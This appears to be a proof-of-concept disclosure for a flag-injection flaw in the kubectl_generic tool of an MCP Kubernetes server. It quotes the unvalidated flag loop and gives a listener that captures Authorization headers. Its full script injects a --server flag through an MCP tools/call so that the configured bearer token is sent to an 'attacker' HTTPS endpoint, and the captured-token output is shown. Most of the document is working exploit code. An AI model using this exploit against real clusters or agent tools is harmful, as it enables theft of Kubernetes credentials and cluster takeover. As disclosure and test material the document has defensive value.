mcp-server-kubernetes CVE-2026-47250

if (input.flags) {
  for (const [key, value] of Object.entries(input.flags)) {
    if (value === true) {
      cmdArgs.push(`--${key}`);
    } else if (value !== false && value !== null && value !== undefined) {
      cmdArgs.push(`--${key}=${value}`);   // ← no allowlist; any kubectl flag accepted
    }
  }
}

if (input.args && input.args.length > 0) {
  cmdArgs.push(...input.args);             // ← also unconstrained
}

# Confirm the flag loop has no allowlist:
grep -A 8 "for.*Object.entries.*flags" src/tools/kubectl-generic.ts

# Start a minimal HTTPS listener with a self-signed cert:
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \
  -subj "/CN=test" -days 1 2>/dev/null

python3 - <<'EOF'
import ssl, threading, json
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        print(f"Authorization: {self.headers.get('authorization','<none>')}")
        self.send_response(401); self.end_headers()

srv = HTTPServer(("127.0.0.1", 19001), H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("/tmp/c.pem", "/tmp/k.pem")
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
t = __import__("threading").Thread(target=srv.serve_forever, daemon=True); t.start()

import subprocess, time; time.sleep(0.3)
subprocess.run([
    "kubectl", "get", "pods",
    "--server=https://127.0.0.1:19001",
    "--token=MY-TEST-TOKEN-DOES-THIS-ARRIVE",
    "--insecure-skip-tls-verify=true"
], capture_output=True)
time.sleep(0.3)
EOF

Authorization: Bearer MY-TEST-TOKEN-DOES-THIS-ARRIVE

git clone https://github.com/Flux159/mcp-server-kubernetes
cd mcp-server-kubernetes
npm install && npm run build

#!/usr/bin/env python3
"""
PoC: kubectl_generic flag injection → bearer token exfiltration.
Run from inside the mcp-server-kubernetes repository after `npm run build`.
"""
import json, os, ssl, subprocess, sys, tempfile, threading, time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

KNOWN_TOKEN  = "EXFIL-CONFIRM-THIS-TOKEN-12345"
ATTACKER_PORT = 19001
captured = []
# ── Attacker HTTPS server ───────────────────────────────────────────
class Attacker(BaseHTTPRequestHandler):
    def log_message(self, *_): pass
    def _handle(self):
        auth = self.headers.get("authorization", "")
        if auth: captured.append(auth); print(f"  CAPTURED: {auth}", flush=True)
        body = b'{"code":401}'; self.send_response(401)
        self.send_header("Content-Length", str(len(body))); self.end_headers()
        self.wfile.write(body)
    def do_GET(self): self._handle()
    def do_POST(self): self._handle()

tmpdir = tempfile.mkdtemp()
cert, key = f"{tmpdir}/c.pem", f"{tmpdir}/k.pem"
subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-nodes",
    "-keyout",key,"-out",cert,"-subj","/CN=attacker","-days","1"],
    capture_output=True, check=True)
srv = ThreadingHTTPServer(("127.0.0.1", ATTACKER_PORT), Attacker)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(cert, key)
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
threading.Thread(target=srv.serve_forever, daemon=True).start()
# ── Fake kubeconfig with known token ──────────────────────────────
kubeconfig = f"""apiVersion: v1
kind: Config
clusters:
- cluster:
    server: https://fake-cluster.internal:6443
    insecure-skip-tls-verify: true
  name: poc
contexts:
- context:
    cluster: poc
    user: poc-user
  name: poc
current-context: poc
users:
- name: poc-user
  user:
    token: {KNOWN_TOKEN}
"""
# ── Start mcp-server-kubernetes ────────────────────────────────────
proc = subprocess.Popen(
    ["node", "dist/index.js"],
    stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
    env={**os.environ, "KUBECONFIG_YAML": kubeconfig}
)
time.sleep(2)
if proc.poll() is not None:
    print("Server failed to start:", proc.stderr.read().decode()[:300]); sys.exit(1)

def send(msg):
    proc.stdin.write((json.dumps(msg)+"\n").encode()); proc.stdin.flush()

def recv(timeout=15):
    import time as _t; deadline = _t.time()+timeout
    while _t.time() < deadline:
        line = proc.stdout.readline()
        if line:
            try: return json.loads(line)
            except: pass
        time.sleep(0.05)
# MCP handshake
send({"jsonrpc":"2.0","id":1,"method":"initialize",
      "params":{"protocolVersion":"2024-11-05","capabilities":{},
                "clientInfo":{"name":"poc","version":"0"}}})
recv()
send({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
time.sleep(0.3)
# ── THE ATTACK CALL ────────────────────────────────────────────────
print(f"\nCalling kubectl_generic with --server=https://127.0.0.1:{ATTACKER_PORT}")
print("kubectl will send Authorization: Bearer to the attacker HTTPS server\n")

send({"jsonrpc":"2.0","id":2,"method":"tools/call",
      "params":{"name":"kubectl_generic",
                "arguments":{"command":"get","resourceType":"pods",
                             "flags":{"server":f"https://127.0.0.1:{ATTACKER_PORT}",
                                      "insecure-skip-tls-verify":"true"}}}})
recv(timeout=20)
time.sleep(1)
proc.terminate(); srv.shutdown()
# ── Result ─────────────────────────────────────────────────────────
print()
if any(KNOWN_TOKEN in c for c in captured):
    print("PASSED: bearer token exfiltrated via kubectl_generic flag injection")
    print(f"  Injected token: {KNOWN_TOKEN}")
    print(f"  Captured:       {captured[0]}")
else:
    print("NOT CONFIRMED - see output above")
    sys.exit(1)

Calling kubectl_generic with --server=https://127.0.0.1:19001
kubectl will send Authorization: Bearer to the attacker HTTPS server

  CAPTURED: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345

PASSED: bearer token exfiltrated via kubectl_generic flag injection
  Injected token: EXFIL-CONFIRM-THIS-TOKEN-12345
  Captured:       Bearer EXFIL-CONFIRM-THIS-TOKEN-12345